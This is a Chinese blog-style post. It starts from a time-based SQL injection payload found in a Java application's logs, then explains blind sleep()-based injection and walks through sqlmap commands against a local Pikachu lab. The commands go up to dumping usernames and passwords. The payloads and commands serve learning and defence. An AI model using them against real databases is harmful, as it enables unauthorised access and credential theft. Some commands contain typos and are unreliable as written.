一、問題背景
一天在日志上看到很多這種報錯:
nested exception is java.lang.NumberFormatException: For input string: "434199'and(select*from(select+sleep(0))a/**/union/**/select+1)='",
org.springframework.web.method.annotation.MethodArgumentTypeMismatchException:Failed to convert value of type 'java.lang.String' to required type 'java.lang.Integer';
nested exception is java.lang.NumberFormatException: For input string: "434199'and(select*from(select+sleep(0))a/**/union/**/select+1)='"
本來這接口是通過 id 查相關信息,結果卻跟了 sql,第一反應就是可能被進行 sql 注入攻擊了。所以查詢了解下到底是啥
二、基於時間延時的注入
1、具體意思
若網站執行了sql后,不管是否出錯,都返回正常頁面。那么我們就不能通過返回的頁面來指揮注入了。
此時就要用基於時間延遲的注入,使用sleep()函數來控制sql執行的時間。從而判斷我們的語句是否執行正確。select * from test where id = 1 and if (substr(version(),1,1)=5,1,sleep(5)),這條語句執行時,如果mysql版本不是5,則延時5秒,根據頁面返回時長來判斷數據庫版本。
2、利用場景:
時間注入是盲注入的一種,利用的場景是當目標無法使用布爾盲注獲得數據時,就可以使用這種基於時間延遲的注入
利用語法:select if( length(database())>1,sleep(5),0 )
這里的意思是數據名的長度如果大於1就延時5秒返回結果
3、這種注入方式還是使用sqlmap進行利用的。
三、sqlMap注入使用了解
1、sqlmap -u " http://192.168.1.11/06/vul/sqli/sqli_blind_t.php?name=lili&submit=1" -p name --technique=T -v 1 --dbms mysql
這里–technique=T 是指定注入的類型位時間延長注入
可以看出sqlmap檢測出來了,接下來查看當前庫名
2、sqlmap -u " http://192.168.1.11/06/vul/sqli/sqli_blind_t.php?name=lili&submit=1" -p name --technique=T -v 1 --dbms mysql --current-db --threads 10 --batch
當前庫名為pikachu,再跑表名
3、sqlmap -u " http://192.168.1.11/06/vul/sqli/sqli_blind_t.php?name=lili&submit=1" -p name --technique=T -v 1 --dbms mysql --tables -D pikachu --batch
4、列出字段:sqlmap -u " http://192.168.1.11/06/vul/sqli/sqli_blind_t.php?name=lili&submit=1" -p name --technique=T -v 1 --dbms mysql --cplumns -T users -D pikachu --batch
5、出數據:sqlmap -u " http://192.168.1.11/06/vul/sqli/sqli_blind_t.php?name=lili&submit=1" -p name --technique=T -v 1 --dbms mysql -C “username,password” -T users D pikachu – threads 10 --batch
圖片用法來源於文章:https://blog.csdn.net/qq_42307546/article/details/122333797
更多 sqlmap 知識可見這份手冊:https://www.kancloud.cn/ju7ran/lg_gf/1500236
四、sqlmap 設置具體SQL注入技術
1、參數 --technique 用於指定檢測注入時所用技術。默認情況下 Sqlmap 會使用自己支持的全部技術進行檢測。 此參數后跟表示檢測技術的大寫字母,其值為 B、E、U、S、T 或 Q,含義如下:
B:Boolean-based blind(布爾型注入)
E:Error-based(報錯型注入)
U:Union query-based(可聯合查詢注入)
S:Stacked queries(可多語句查詢注入)
T:Time-based blind(基於時間延遲注入)
Q:Inline queries(嵌套查詢注入)
可以用 "--technique ES" 來指定使用兩種檢測技術。"--technique BEUSTQ" 與默認情況等效。如:$ python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --technique EB --banner
2、sqlmap 設置時間盲注延遲時間:用 --time-sec 3
參數設置基於時間延遲注入中延時時長,默認為 5 秒